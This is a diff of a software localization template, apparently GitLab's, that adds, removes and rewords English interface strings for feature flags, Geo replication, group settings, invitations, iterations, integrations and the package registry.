msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
